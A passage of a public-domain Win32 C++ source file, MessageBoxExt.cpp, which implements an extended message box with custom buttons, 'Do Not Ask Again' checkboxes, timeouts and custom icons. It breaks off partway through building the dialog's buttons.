// MessageBoxExt.cpp Version 1.4 // // Author: Hans Dietrich // [email protected] // // Description: // MessageBoxExt.cpp implements MessageBoxExt(), a drop-in replacement for // MessageBox() that includes custom checkboxes, custom buttons, custom // icon, and more. For more information see // http://www.codeproject.com/dialog/xmessagebox.asp // // History // Version 1.4 - 2003 December 10 // - Implemented MB_DONOTSHOWAGAIN // - Implemented MB_TOPMOST // - Implemented MB_SETFOREGROUND // - Added MB_SKIPSKIPALLCANCEL and MB_IGNOREIGNOREALLCANCEL, suggested // by Shane L // - Added HINSTANCE parameter for loading strings from extra-exe resource // - Added "report function" parameter for optional report function // - Added custom button parameter to allow definition of custom buttons, // thanks to Obliterator for comments and review // - Added timeout parameter to automatically select default button // after timeout expires, thanks to Obliterator for suggestion // - Added disabled time parameter, that will disable all buttons on the // messagebox for n seconds (for nag dialogs). // - Added custom icon parameter // - The MessageBoxExt dialog will now be centered even in non-MFC apps, // thanks to Tom Wright for suggestion // - The message text and caption text can now be passed as either a string // or a resource ID (using MAKEINTRESOURCE) // - The initial x,y screen coordinates can now be specified. // - The buttons can now be centered (default) or right-justified, as // in XP Explorer. // - Response to "Do Not Ask/Tell" checkboxes will be saved automatically // to ini file, if lpszModule member is non-NULL // - Gathered all optional parameters into one optional XMSGBOXPARAMS struct. // - Added assert if default button is set to Help or Report button // - Removed statics and rearranged code into classes, thanks to code from // Anne Jan Beeks // // Version 1.3 - 2001 July 31 // - Miscellaneous improvements and bug fixes // // Version 1.2 - 2001 July 13 // - Initial public release // // Some parts of this software are from information in the Microsoft SDK. // // This software is released into the public domain. You are free to use it // in any way you like, except that you may not sell this source code. // // This software is provided "as is" with no expressed or implied warranty. // I accept no liability for any damage or loss of business that this software // may cause. // /////////////////////////////////////////////////////////////////////////////// #include "env.h" #include "pragma.h" #include "window.h" #include <stdio.h> #include <crtdbg.h> #include <tchar.h> #include "MessageBoxExt.h" #if (defined(_DEBUG) && defined(_WINDOWS)) && (defined(_AFX) || defined(_AFXDLL)) #ifdef PRAGMA_MESSAGE_VERBOSE #pragma message("\t\t\t"__FILE__"("STR(__LINE__)"): using DEBUG_NEW macro") #endif #define new DEBUG_NEW #undef THIS_FILE static char THIS_FILE[] = __FILE__; #endif //LPI #undef TRACE #define TRACE #define countof(array) (sizeof(array)/sizeof(array[0])) /////////////////////////////////////////////////////////////////////////////// // // If you want to save the state of "Do Not Ask/Tell" checkbox to profile (ini) // file instead of registry, uncomment the following line: // //#define XMESSAGEBOX_USE_PROFILE_FILE /////////////////////////////////////////////////////////////////////////////// // // If you do not want automatic saving of "Do Not Ask/Tell" checkbox, // uncomment the following line: // #define XMESSAGEBOX_DO_NOT_SAVE_CHECKBOX /////////////////////////////////////////////////////////////////////////////// // // If you have chosen to automatically save "Do Not Ask/Tell" checkbox to ini: // // Normally the lpszModule and nLine data are encoded, since it might not be // desirable to allow users to be able to see the path and module name of // your source file. If you do not want encoding of "Do Not Ask/Tell" module // info in the registry (or ini file), uncomment the following line: // //#define XMESSAGEBOX_DO_NOT_ENCODE /////////////////////////////////////////////////////////////////////////////// // // This identifier specifies the format of the text displayed for the timeout // key, which by default is "%s = %d". You may change this to anything you // wish, as long as 1) there is both a %s and a %d; and 2) the %s precedes // the %d. // #define XMESSAGEBOX_TIMEOUT_TEXT_FORMAT _T("%s = %d") /////////////////////////////////////////////////////////////////////////////// // // This identifier specifies the name of the ini file, which by default // is "XMessageBox.ini". // #define XMESSAGEBOX_INI_FILE _T("XMessageBox.ini") /////////////////////////////////////////////////////////////////////////////// // // This identifier specifies the registry key used to store checkbox values. // By default it is "XMessageBox". // #define XMESSAGEBOX_REGISTRY_KEY _T("XMessageBox") /*$ #ifndef XMESSAGEBOX_USE_PROFILE_FILE static void WriteRegistry(LPCTSTR lpszCompanyName, LPCTSTR lpszKey, DWORD dwData); static DWORD ReadRegistry(LPCTSTR lpszCompanyName, LPCTSTR lpszKey); #endif */ /////////////////////////////////////////////////////////////////////////////// // // CXRect - replacement for CRect // class CXRect : public tagRECT { public: // Constructors // uninitialized rectangle CXRect() {} // Attributes (in addition to RECT members) // retrieves the width int Width() const { return right - left; } // returns the height int Height() const { return bottom - top; } // Operations // set rectangle from left, top, right, and bottom void SetRect(int x1, int y1, int x2, int y2) { ::SetRect(this, x1, y1, x2, y2); } }; /////////////////////////////////////////////////////////////////////////////// // // CXDialogItem // class CXDialogTemplate; class CXDialogItem { public: DLGITEMTEMPLATE m_dlgItemTemplate; enum Econtroltype { ICON = 0x7F, BUTTON, EDITCONTROL, STATICTEXT, CHECKBOX }; Econtroltype m_controltype; TCHAR m_szCaption[1024]; public: CXDialogItem(Econtroltype cType); // default constructor will fill in default values CXDialogItem() {}; // default constructor, not to be called directly void AddItem(CXDialogTemplate& dialog, Econtroltype cType, UINT nID, CXRect* prect = NULL, LPCTSTR pszCaption = NULL); }; /////////////////////////////////////////////////////////////////////////////// // // CXDialogTemplate // class CXDialogTemplate { // Constructors public: CXDialogTemplate(HWND hWnd, LPCTSTR lpszMessage, LPCTSTR lpszCaption, UINT nStyle, XMSGBOXPARAMS *pXMB); virtual ~CXDialogTemplate(); // Attributes public: LPCTSTR GetMessageText() const { return m_lpszMessage; } int& GetButtonCount() { return m_nButton; } UINT GetDefaultButtonId() const { return m_nDefId; } void SetDefaultButtonId(UINT nDefId) { m_nDefId = nDefId; } int GetDefaultButton() const { return m_nDefButton; } // Operations public: int Display(); void AddItem(CXDialogItem::Econtroltype cType, UINT nID, CXRect* prect = NULL, LPCTSTR pszCaption = NULL); void AddCheckBox(HDC hdc, int& x, int& y, CXRect& rect, CXRect& mbrect, CXRect& buttonrow, CXRect& checkboxrect, LPCTSTR lpszButtonCaption); // Implementation protected: enum { FirstControlId = 1001}; enum { MaxButtonStringSize = 100}; enum { //ButtonWidth = 82, ButtonWidth = 80, //LPI 90, ButtonTimeoutWidth = 90, //LPI 100, ButtonHeight = 25, //LPI 26, ButtonSpacing = 3, //LPI 6, BottomMargin = 10, //LPI 12, DoNotAskAgainHeight = 14, //LPI 16, IdDoNotAskAgian = 5555, IdExHelp = 300, IdExReport = 301, // if you change the value for MaxItems, make sure that the code // in CXDialogTemplate remains consistent with your changes. MaxItems = 20, // max no. of items in the dialog MaxCustomButtons = 4, MinimalHeight = 70, SpacingSize = 8, MessageSize = 64*1024, SpacingBetweenMessageAndButtons = 8, //LPI 10, }; CXDialogItem* m_pDlgItemArray[MaxItems]; XMESSAGEBOX_REPORT_FUNCTION m_lpReportFunc; DWORD m_dwReportUserData; int m_Options; int m_nButton; // current button no. int m_nDefButton; // Default button int m_nTimeoutSeconds; // timeout in seconds (before default button selected) int m_nDisabledSeconds; // disabled time in seconds (before buttons are enabled) int m_X, m_Y; // initial x,y screen coordinates UINT m_nMaxID; // max control id (one more) UINT m_nDefId; // button number of default button UINT m_nHelpId; // help context id UINT m_nStyle; // message box style BOOL m_bRightJustifyButtons; // TRUE = right justify buttons LPCTSTR m_lpszModule; // module name (for saving DoNotAsk state) int m_nLine; // line number (for saving DoNotAsk state) HWND m_hWnd; // handle of owner window HINSTANCE m_hInstanceStrings; // handle to instance used for loading strings HINSTANCE m_hInstanceIcon; // handle to instance used for loading icon LPTSTR m_lpszMessage; // message buffer LPTSTR m_lpszCaption; // caption buffer TCHAR m_szCustomButtons[MAX_PATH]; // custom buttons - strings // separated by \n TCHAR m_szCompanyName[MAX_PATH]; // used when saving checkbox state in registry HICON m_hIcon; // Handle of icon HANDLE m_hFont; // handle to font for the message box DLGTEMPLATE m_dlgTempl; // message box dialog template TCHAR m_szDefaultButton [MaxButtonStringSize]; // used for original default // button text, in case of // countdown timer TCHAR szAbort [MaxButtonStringSize]; TCHAR szCancel [MaxButtonStringSize]; TCHAR szContinue [MaxButtonStringSize]; TCHAR szDoNotAskAgain [MaxButtonStringSize]; TCHAR szDoNotTellAgain [MaxButtonStringSize]; TCHAR szDoNotShowAgain [MaxButtonStringSize]; TCHAR szHelp [MaxButtonStringSize]; TCHAR szIgnore [MaxButtonStringSize]; TCHAR szIgnoreAll [MaxButtonStringSize]; TCHAR szNo [MaxButtonStringSize]; TCHAR szNoToAll [MaxButtonStringSize]; TCHAR szOK [MaxButtonStringSize]; TCHAR szReport [MaxButtonStringSize]; TCHAR szRetry [MaxButtonStringSize]; TCHAR szSkip [MaxButtonStringSize]; TCHAR szSkipAll [MaxButtonStringSize]; TCHAR szTryAgain [MaxButtonStringSize]; TCHAR szYes [MaxButtonStringSize]; TCHAR szYesToAll [MaxButtonStringSize]; enum EOptions { DoNotAskAgain = 0x01, // include Do Not Ask checkbox DoNotTellAgain = 0x02, // include Do Not Tell checkbox DoNotShowAgain = 0x04, // include Do Not Show checkbox CancelButton = 0x08, // include Cancel button OkButton = 0x10, // MB_OK used CancelOrOkButton = CancelButton | OkButton, EDefault = 0x00 }; static BOOL CALLBACK MsgBoxDlgProc(HWND hwnd, UINT message, WPARAM wParam, LPARAM me); void Unset(EOptions id) { m_Options &= ~id;}; void Set(EOptions id) { m_Options |= id;}; int Option(EOptions id) const { return m_Options & id; } void LoadButtonStrings(); void LoadButtonStringsFromResources(HINSTANCE hInstance); }; #ifndef XMESSAGEBOX_DO_NOT_SAVE_CHECKBOX /////////////////////////////////////////////////////////////////////////////// // // encode() // // Purpose: Disguise string with simple encoding. Note that there is // no requirement to decode string. // // Parameters: str - pointer null-terminated string to encode // // Returns: LPTSTR - pointer to str // #ifndef XMESSAGEBOX_DO_NOT_ENCODE // folowing string MUST be at least 64 TCHARs static TCHAR *szAlphabet = _T("ABCDEFGHIJKLMNOPQRSTUVWXYZ") _T("0123456789") _T("abcdefghijklmnopqrstuvwxyz") _T("98"); #endif static LPTSTR encode(LPTSTR str) { #ifndef XMESSAGEBOX_DO_NOT_ENCODE for (UINT i = 0; i < _tcslen(str); i++) { UINT n = (UINT) str[i]; str[i] = szAlphabet[(n + (5*i)) % 64]; } #endif return str; } #endif /////////////////////////////////////////////////////////////////////////////// // // MessageBoxExt() // // The MessageBoxExt function creates, displays, and operates a message box. // The message box contains an application-defined message and title, plus // any combination of predefined icons, push buttons, and checkboxes. // // For more information see // http://www.codeproject.com/dialog/xmessagebox.asp // // int MessageBoxExt(HWND hwnd, // handle of owner window // LPCTSTR lpszMessage, // address of text in message box // LPCTSTR lpszCaption, // address of title of message box // UINT nStyle, // style of message box // XMSGBOXPARAMS * pXMB) // optional parameters // // PARAMETERS // // hwnd - Identifies the owner window of the message box to be // created. If this parameter is NULL, the message box // has no owner window. // // lpszMessage - Pointer to a null-terminated string containing the // message to be displayed. // // lpszCaption - Pointer to a null-terminated string used for the // dialog box title. If this parameter is NULL, the // default title Error is used. // // nStyle - Specifies a set of bit flags that determine the // contents and behavior of the dialog box. This // parameter can be a combination of flags from the // following groups of flags. // // pXMB - Pointer to optional parameters. The parameters // struct XMSGBOXPARAMS is defined in MessageBoxExt.h. // /////////////////////////////////////////////////////////////////////////////// int MessageBoxExt(HWND hwnd, LPCTSTR lpszMessage, LPCTSTR lpszCaption /*= NULL*/, UINT nStyle /*= MB_OK | MB_ICONEXCLAMATION*/, XMSGBOXPARAMS * pXMB /*= NULL*/) { _ASSERTE(lpszMessage); if (hwnd == NULL) { hwnd = ::GetActiveWindow() ; if (hwnd != NULL) { hwnd = ::GetLastActivePopup(hwnd) ; } }; if ((nStyle & MB_ICONHAND) && (nStyle & MB_SYSTEMMODAL)) { // NOTE: When an application calls MessageBox and specifies the // MB_ICONHAND and MB_SYSTEMMODAL flags for the nStyle parameter, // the system displays the resulting message box regardless of // available memory. return ::MessageBox(hwnd, lpszMessage, lpszCaption, nStyle); } if (lpszCaption == NULL || lpszCaption[0] == 0) lpszCaption = _T("Error"); XMSGBOXPARAMS xmb; if (pXMB) xmb = *pXMB; #ifndef XMESSAGEBOX_DO_NOT_SAVE_CHECKBOX // are Do Not Ask styles specified? if ((nStyle & MB_DONOTASKAGAIN) || (nStyle & MB_DONOTTELLAGAIN) || (nStyle & MB_DONOTSHOWAGAIN)) { // is module name supplied? if (xmb.lpszModule && (xmb.lpszModule[0] != _T('\0'))) { // caller specified Do No Ask style and a module name - // check if answer previously saved in ini file // get full path to ini file TCHAR szPathName[MAX_PATH*2]; szPathName[0] = _T('\0'); ::GetModuleFileName(NULL, szPathName, countof(szPathName)-1); TCHAR *cp = _tcsrchr(szPathName, _T('\\')); if (cp != NULL) *(cp+1) = _T('\0'); _tcscat(szPathName, XMESSAGEBOX_INI_FILE); // key is module name and line TCHAR szKey[MAX_PATH*2]; _tcscpy(szKey, xmb.lpszModule); TRACE(_T("szKey=<%s>\n"), szKey); encode(szKey); // simple encoding to obscure module name TCHAR szLine[100]; szLine[0] = _T('\0'); _tcscat(szKey, _itot(xmb.nLine, szLine, 10)); TRACE(_T("szKey=<%s>\n"), szKey); TCHAR szBuf[100]; szBuf[0] = _T('\0'); DWORD dwData = 0; #ifndef XMESSAGEBOX_USE_PROFILE_FILE // read from registry dwData = ReadRegistry(xmb.szCompanyName, szKey); TRACE(_T("dwData=0x%08X\n"), dwData); #else // read from ini file // data string is hex value of MessageBoxExt return code ::GetPrivateProfileString(_T("DoNotAsk"), // section name szKey, // key name _T(""), // default string szBuf, // destination buffer countof(szBuf)-1, // size of destination buffer szPathName); // initialization file name dwData = _tcstoul(szBuf, NULL, 16); TRACE(_T("szBuf=<%s> dwData=0x%08X\n"), szBuf, dwData); #endif // XMESSAGEBOX_USE_PROFILE_FILE // Note: dwData will be 0 if either ReadRegistry or // GetPrivateProfileString fail to find key if ((dwData & MB_DONOTASKAGAIN) || (dwData & MB_DONOTTELLAGAIN) || (dwData & MB_DONOTSHOWAGAIN)) { TRACE(_T("saved DoNotAsk found, returning 0x%08X\n"), dwData); return (int)dwData; } } } #endif // #ifndef XMESSAGEBOX_DO_NOT_SAVE_CHECKBOX // should be seconds, not milliseconds _ASSERTE(xmb.nTimeoutSeconds < 1000); if (xmb.nTimeoutSeconds >= 1000) xmb.nTimeoutSeconds = 10; // should be seconds, not milliseconds _ASSERTE(xmb.nDisabledSeconds < 1000); if (xmb.nDisabledSeconds >= 1000) xmb.nDisabledSeconds = 10; // cannot have both disabled and timeout seconds _ASSERTE(xmb.nDisabledSeconds == 0 || xmb.nTimeoutSeconds == 0); CXDialogTemplate dlg(hwnd, lpszMessage, lpszCaption, nStyle, &xmb); if ((nStyle & MB_NOSOUND) == 0) ::MessageBeep(nStyle & MB_ICONMASK); int rc = dlg.Display(); return rc; } /////////////////////////////////////////////////////////////////////////////// // IconProc LONG CALLBACK IconProc(HWND hwnd, UINT message, WPARAM, LPARAM) { if (message == WM_PAINT) { PAINTSTRUCT ps; HDC hdc; hdc = BeginPaint(hwnd, &ps); ::DrawIcon(hdc, 0, 0, (HICON)(::GetWindowLong(hwnd, GWL_USERDATA))); EndPaint(hwnd, &ps); } return FALSE; } /////////////////////////////////////////////////////////////////////////////// // CXDialogTemplate class /////////////////////////////////////////////////////////////////////////////// // CXDialogTemplate ctor CXDialogTemplate::CXDialogTemplate(HWND hWnd, LPCTSTR lpszMessage, LPCTSTR lpszCaption, UINT nStyle, XMSGBOXPARAMS *pXMB) : m_hWnd(hWnd), m_lpszMessage(NULL), m_lpszCaption(NULL), m_nStyle(nStyle), m_nHelpId(pXMB->nIdHelp), m_hInstanceStrings(pXMB->hInstanceStrings), m_hInstanceIcon(pXMB->hInstanceIcon), m_lpReportFunc(pXMB->lpReportFunc), m_dwReportUserData(pXMB->dwReportUserData), m_nTimeoutSeconds(pXMB->nTimeoutSeconds), m_nDisabledSeconds(pXMB->nDisabledSeconds), m_Options(EDefault), m_hIcon(NULL), m_hFont(NULL), m_nButton(0), // current button no. m_nDefId(1), // button number of default button m_nMaxID(FirstControlId), // control id m_X(pXMB->x), m_Y(pXMB->y), m_lpszModule(pXMB->lpszModule), m_nLine(pXMB->nLine), m_bRightJustifyButtons(pXMB->dwOptions & XMSGBOXPARAMS::RightJustifyButtons) { // store company name to use for saving checkbox state in registry memset(m_szCompanyName, 0, sizeof(m_szCompanyName)); _tcscpy(m_szCompanyName, pXMB->szCompanyName); // m_szDefaultButton is used to save text for timeout option memset(m_szDefaultButton, 0, sizeof(m_szDefaultButton)); /////////////////////////////////////////////////////////////////////////// // allocate buffers for message and caption - buffers must be allocated // (instead of just using pointers) because we may need to load the strings // from resources m_lpszMessage = new TCHAR [MessageSize]; if (m_lpszMessage) m_lpszMessage[0] = _T('\0'); memset(m_lpszMessage, 0, MessageSize); m_lpszCaption = new TCHAR [MessageSize]; if (m_lpszCaption) m_lpszCaption[0] = _T('\0'); memset(m_lpszCaption, 0, MessageSize); /////////////////////////////////////////////////////////////////////////// // set instance handle for strings HINSTANCE hInstanceStrings = m_hInstanceStrings; if (!hInstanceStrings) hInstanceStrings = ::GetModuleHandle(NULL); /////////////////////////////////////////////////////////////////////////// // load message text from resource or string if (lpszMessage) { if (HIWORD(lpszMessage) == NULL) { // looks like a resource id if (::LoadString(hInstanceStrings, LOWORD((DWORD)lpszMessage), m_lpszMessage, MessageSize-1) == 0) m_lpszMessage[0] = _T('\0'); } else { // looks like a string pointer _tcsncpy(m_lpszMessage, lpszMessage, MessageSize-1); } m_lpszMessage[MessageSize-1] = _T('\0'); } /////////////////////////////////////////////////////////////////////////// // load caption from resource or string if (lpszCaption) { if (HIWORD(lpszCaption) == NULL) { // looks like a resource id if (::LoadString(hInstanceStrings, LOWORD((DWORD)lpszCaption), m_lpszCaption, MessageSize-1) == 0) m_lpszCaption[0] = _T('\0'); } else { // looks like a string pointer _tcsncpy(m_lpszCaption, lpszCaption, MessageSize-1); } m_lpszCaption[MessageSize-1] = _T('\0'); } /////////////////////////////////////////////////////////////////////////// // load custom buttons from resource or string memset(m_szCustomButtons, 0, sizeof(m_szCustomButtons)); if (pXMB->nIdCustomButtons) { // load from resource id if (::LoadString(hInstanceStrings, pXMB->nIdCustomButtons, m_szCustomButtons, countof(m_szCustomButtons)-1) == 0) m_szCustomButtons[0] = _T('\0'); } if ((m_szCustomButtons[0] == _T('\0')) && (pXMB->szCustomButtons[0] != _T('\0'))) { // load from string _tcsncpy(m_szCustomButtons, pXMB->szCustomButtons, countof(m_szCustomButtons)-1); } m_szCustomButtons[countof(m_szCustomButtons)-1] = _T('\0'); /////////////////////////////////////////////////////////////////////////// // load report button caption from resource or string memset(szReport, 0, sizeof(szReport)); if (pXMB->nIdReportButtonCaption) { // load from resource id if (::LoadString(hInstanceStrings, pXMB->nIdReportButtonCaption, szReport, MaxButtonStringSize-1) == 0) szReport[0] = _T('\0'); } if ((szReport[0] == _T('\0')) && (pXMB->szReportButtonCaption[0] != _T('\0'))) { _tcsncpy(szReport, pXMB->szReportButtonCaption, MaxButtonStringSize-1); } szReport[MaxButtonStringSize-1] = _T('\0'); /////////////////////////////////////////////////////////////////////////// // load button captions from resource or use default strings if (nStyle & MB_NORESOURCE) LoadButtonStrings(); // use English strings else LoadButtonStringsFromResources(hInstanceStrings); // try to load from resource strings /////////////////////////////////////////////////////////////////////////// // get dc for drawing HDC hdc = ::CreateDC(_T("DISPLAY"), NULL, NULL, NULL); _ASSERTE(hdc); /////////////////////////////////////////////////////////////////////////// // get message font NONCLIENTMETRICS ncm; memset(&ncm, 0, sizeof(ncm)); ncm.cbSize = sizeof(ncm); ::SystemParametersInfo(SPI_GETNONCLIENTMETRICS, 0, &ncm, 0); m_hFont = ::CreateFontIndirect(&ncm.lfMessageFont); HFONT hOldFont = (HFONT)::SelectObject(hdc, m_hFont); int nMaxWidth = (::GetSystemMetrics(SM_CXSCREEN) / 2) + 100; if (nStyle & MB_ICONMASK) nMaxWidth -= GetSystemMetrics(SM_CXICON) + 2*SpacingSize; CXRect msgrect; SetRect(&msgrect, 0, 0, nMaxWidth, nMaxWidth); /////////////////////////////////////////////////////////////////////////// // get output size of message text ::DrawText(hdc, GetMessageText(), -1, &msgrect, DT_LEFT | DT_NOPREFIX | DT_WORDBREAK | DT_CALCRECT); msgrect.right += 12; msgrect.bottom += 5; msgrect.left = 2 * SpacingSize; msgrect.top = 2 * SpacingSize; msgrect.right += 2 * SpacingSize; msgrect.bottom += 2 * SpacingSize; // client rect CXRect mbrect; SetRect(&mbrect, 0, 0, msgrect.Width() + (2 * SpacingSize), msgrect.Height() + (2 * SpacingSize)); if (mbrect.Height() < MinimalHeight) mbrect.bottom = MinimalHeight; /////////////////////////////////////////////////////////////////////////// // initialize the DLGTEMPLATE structure m_dlgTempl.x = 0; m_dlgTempl.y = 0; m_dlgTempl.cdit = 0; m_dlgTempl.style = WS_CAPTION | WS_VISIBLE | WS_SYSMENU | WS_POPUP | DS_MODALFRAME | DS_CENTER; m_dlgTempl.dwExtendedStyle = 0; if (nStyle & MB_SYSTEMMODAL) m_dlgTempl.style |= DS_SYSMODAL; for (int j = 0; j < MaxItems; j++) m_pDlgItemArray[j] = NULL; int x, y; CXRect iconrect; SetRect(&iconrect, 0, 0, 0, 0); CXRect rect; HINSTANCE hInstanceIcon = m_hInstanceIcon; if (!hInstanceIcon) hInstanceIcon = ::GetModuleHandle(NULL); /////////////////////////////////////////////////////////////////////////// // load icon by id or by name if (pXMB->nIdIcon) { m_hIcon = ::LoadIcon(hInstanceIcon, MAKEINTRESOURCE(pXMB->nIdIcon)); int cxIcon = GetSystemMetrics(SM_CXICON); int cyIcon = GetSystemMetrics(SM_CYICON); int icon_x = SpacingSize; int icon_y = SpacingSize; msgrect.left += cxIcon + icon_x; msgrect.right += cxIcon + icon_x; mbrect.right = msgrect.right + SpacingSize; SetRect(&iconrect, icon_x, icon_y, icon_x + cxIcon + 2, icon_y + cyIcon + 2); AddItem(CXDialogItem::STATICTEXT, 1000, &iconrect, _T("")); } else if (pXMB->szIcon[0] != _T('\0')) { m_hIcon = ::LoadIcon(hInstanceIcon, pXMB->szIcon); } else if (nStyle & MB_ICONMASK) { LPTSTR lpIcon = (LPTSTR)IDI_EXCLAMATION; switch (nStyle & MB_ICONMASK) { case MB_ICONEXCLAMATION: lpIcon = (LPTSTR)IDI_EXCLAMATION; break; case MB_ICONHAND: lpIcon = (LPTSTR)IDI_HAND; break; case MB_ICONQUESTION: lpIcon = (LPTSTR)IDI_QUESTION; break; case MB_ICONASTERISK: lpIcon = (LPTSTR)IDI_ASTERISK; break; } if (lpIcon) { m_hIcon = ::LoadIcon(NULL, lpIcon); int cxIcon = GetSystemMetrics(SM_CXICON); int cyIcon = GetSystemMetrics(SM_CYICON); int icon_x = SpacingSize; int icon_y = SpacingSize; msgrect.left += cxIcon + icon_x; msgrect.right += cxIcon + icon_x; mbrect.right = msgrect.right + SpacingSize; SetRect(&iconrect, icon_x, icon_y, icon_x + cxIcon + 2, icon_y + cyIcon + 2); AddItem(CXDialogItem::STATICTEXT, 1000, &iconrect, _T("")); } } /////////////////////////////////////////////////////////////////////////// // add message text AddItem(CXDialogItem::STATICTEXT, m_nMaxID++, &msgrect, GetMessageText()); int cItems = 0; if (m_szCustomButtons[0] == _T('\0')) { // process standard buttons switch (nStyle & MB_TYPEMASK) { case MB_ABORTRETRYIGNORE : cItems = 3; break; case MB_CANCELTRYCONTINUE : cItems = 3; break; case MB_CONTINUEABORT : cItems = 2; break; case MB_IGNOREIGNOREALLCANCEL : cItems = 3; break; case MB_OK : cItems = 1; break; case MB_OKCANCEL : cItems = 2; break; case MB_RETRYCANCEL : cItems = 2; break; case MB_SKIPSKIPALLCANCEL : cItems = 3; break; case MB_YESNO : cItems = 2; break; case MB_YESNOCANCEL : cItems = 3; break; } if (nStyle & MB_YESTOALL) { _ASSERTE((nStyle & MB_YESNO) || (nStyle & MB_YESNOCANCEL)); if ((nStyle & MB_YESNO) || (nStyle & MB_YESNOCANCEL)) cItems++; } if (nStyle & MB_NOTOALL) { _ASSERTE((nStyle & MB_YESNO) || (nStyle & MB_YESNOCANCEL)); if ((nStyle & MB_YESNO) || (nStyle & MB_YESNOCANCEL)) cItems++; } } else { // process custom buttons TCHAR szCustomButtons[MAX_PATH]; _tcscpy(szCustomButtons, m_szCustomButtons); int i = 0; TCHAR * cp = _tcstok(szCustomButtons, _T("\n")); while (cp != NULL) { if (i >= MaxCustomButtons) break; cp = _tcstok(NULL, _T("\n")); i++; } cItems += i; } int nHelpButton = 0; if (nStyle & MB_HELP) { cItems++; nHelpButton = cItems; } int nReportButton = 0; if (m_lpReportFunc) { cItems++; nReportButton = cItems; } if (nStyle & MB_DONOTASKAGAIN) Set(DoNotAskAgain); else if (nStyle & MB_DONOTTELLAGAIN) Set(DoNotTellAgain); else if (nStyle & MB_DONOTSHOWAGAIN) Set(DoNotShowAgain); _ASSERTE(cItems > 0); CXRect buttonrow; y = (msgrect.bottom > iconrect.bottom) ? msgrect.bottom : iconrect.bottom; y += SpacingBetweenMessageAndButtons; // allow for wider buttons if timeout specified int button_width = m_nTimeoutSeconds ? ButtonTimeoutWidth : ButtonWidth; int w = button_width * cItems + (ButtonSpacing * (cItems - 1)); SetRect(&buttonrow,0, y, w, y + ButtonHeight); switch (nStyle & MB_DEFMASK) { case MB_DEFBUTTON1 : m_nDefButton = 1; break; case MB_DEFBUTTON2 : m_nDefButton = 2; break; case MB_DEFBUTTON3 : m_nDefButton = 3; break; case MB_DEFBUTTON4 : m_nDefButton = 4; break; case MB_DEFBUTTON5 : m_nDefButton = 5; break; case MB_DEFBUTTON6 : m_nDefButton = 6; break; default: m_nDefButton = 1; break; } if (m_nDefButton > cItems) m_nDefButton = 1; if (nHelpButton == m_nDefButton) { TRACE(_T("ERROR: Help button cannot be default button\n")); _ASSERTE(FALSE); } if (nReportButton == m_nDefButton) { TRACE(_T("ERROR: Report button cannot be default button\n")); _ASSERTE(FALSE); } /////////////////////////////////////////////////////////////////////////// // add buttons mbrect.bottom = buttonrow.bottom + BottomMargin; int bw = buttonrow.Width(); int bleft = 2 * SpacingSize; int bright = bleft + bw; if (mbrect.right <= (bright + (2 * SpacingSize))) mbrect.right = bright + (2 * SpacingSize); x = (mbrect.Width() - bw) / 2; y = buttonrow.top; if (m_bRightJustifyButtons) { x = mbrect.right - ButtonSpacing - cItems * (ButtonSpacing + button_width); } if (m_szCustomButtons[0] == _T('\0')) { // no custom buttons switch (nStyle & MB_TYPEMASK) { case MB_OK: SetRect(&rect,x, y, x + button_width, y + ButtonHeight); AddItem(CXDialogItem::BUTTON, IDOK, &rect, szOK); Set(OkButton); break; case MB_OKCANCEL: SetRect(&rect,x, y, x + button_width, y + ButtonHeight); AddItem(CXDialogItem::BUTTON, IDOK, &rect, szOK); x += button_width + ButtonSpacing; SetRect(&rect,x, y, x + button_width, y + ButtonHeight); AddItem(CXDialogItem::BUTTON, IDCANCEL, &rect, szCancel); Set(CancelButton); break; case MB_YESNO: SetRect(&rect,x, y, x + button_width, y + ButtonHeight); AddItem(CXDialogItem::BUTTON, IDYES, &rect, szYes); if (nStyle & MB_YESTOALL) { x += button_width + ButtonSpacing; SetRect(&rect,x, y, x + button_width, y + ButtonHeight); AddItem(CXDialogItem::BUTTON, IDYESTOALL, &rect, szYesToAll); } x += button_width + ButtonSpacing; SetRect(&rect,x, y, x + button_width, y + ButtonHeight); AddItem(CXDialogItem::BUTTON, IDNO, &rect, szNo); if (nStyle & MB_NOTOALL) { x += button_width + ButtonSpacing; SetRect(&rect,x, y, x + button_width, y + ButtonHeight); AddItem(CXDialogItem::BUTTON, IDNOTOALL, &rect, szNoToAll); } break; case MB_YESNOCANCEL: SetRect(&rect,x, y, x + button_width, y + ButtonHeight); AddItem(CXDialogItem::BUTTON, IDYES, &rect, szYes); if (nStyle & MB_YESTOALL) { x += button_width + ButtonSpacing; SetRect(&rect,x, y, x + button_width, y + ButtonHeight); AddItem(CXDialogItem::BUTTON, IDYESTOALL, &rect, szYesToAll); } x += button_width + ButtonSpacing; SetRect(&rect,x, y, x + button_width, y + ButtonHeight); AddItem(CXDialogItem::BUTTON, IDNO, &rect, szNo); if (nStyle & MB_NOTOALL) { x += button_width + ButtonSpacing; SetRect(&rect,x, y, x + button_width, y + ButtonHeight); AddItem(CXDialogItem::BUTTON, IDNOTOALL, &rect, szNoToAll); } x += button_width + ButtonSpacing; SetRect(&rect,x, y, x + button_width, y + ButtonHeight); AddItem(CXDialogItem::BUTTON, IDCANCEL, &rect, szCancel); Set(CancelButton); break; case MB_ABORTRETRYIGNORE: SetRect(&rect,x, y, x + button_width, y + ButtonHeight); AddItem(CXDialogItem::BUTTON, IDABORT, &rect, szAbort); x += button_width + ButtonSpacing; SetRect(&rect,x, y, x + button_width, y + ButtonHeight); AddItem(CXDialogItem::BUTTON, IDRETRY, &rect, szRetry); x += button_width + ButtonSpacing; SetRect(&rect,x, y, x + button_width, y + ButtonHeight); AddItem(CXDialogItem::BUTTON, IDIGNORE, &rect, szIgnore); break; case MB_RETRYCANCEL: SetRect(&rect,x, y, x + button_width, y + ButtonHeight); AddItem(CXDialogItem::BUTTON, IDRETRY, &rect, szRetry); x += button_width + ButtonSpacing; SetRect(&rect,x, y, x + button_width, y + ButtonHeight); AddItem(CXDialogItem::BUTTON, IDCANCEL, &rect, szCancel); Set(CancelButton); break; case MB_CONTINUEABORT: SetRect(&rect,x, y, x + button_width, y + ButtonHeight); AddItem(CXDialogItem::BUTTON, IDCONTINUE, &rect, szContinue); x += button_width + ButtonSpacing; SetRect(&rect,x, y, x + button_width, y + ButtonHeight); AddItem(CXDialogItem::BUTTON, IDABORT, &rect, szAbort); break; case MB_CANCELTRYCONTINUE: rect.SetRect(x, y, x + button_width, y + ButtonHeight); AddItem(CXDialogItem::BUTTON, IDCANCEL, &rect, szCancel); x += button_width + ButtonSpacing; rect.SetRect(x, y, x + button_width, y + ButtonHeight); AddItem(CXDialogItem::BUTTON, IDTRYAGAIN, &rect, szTryAgain); x += button_width + ButtonSpacing; 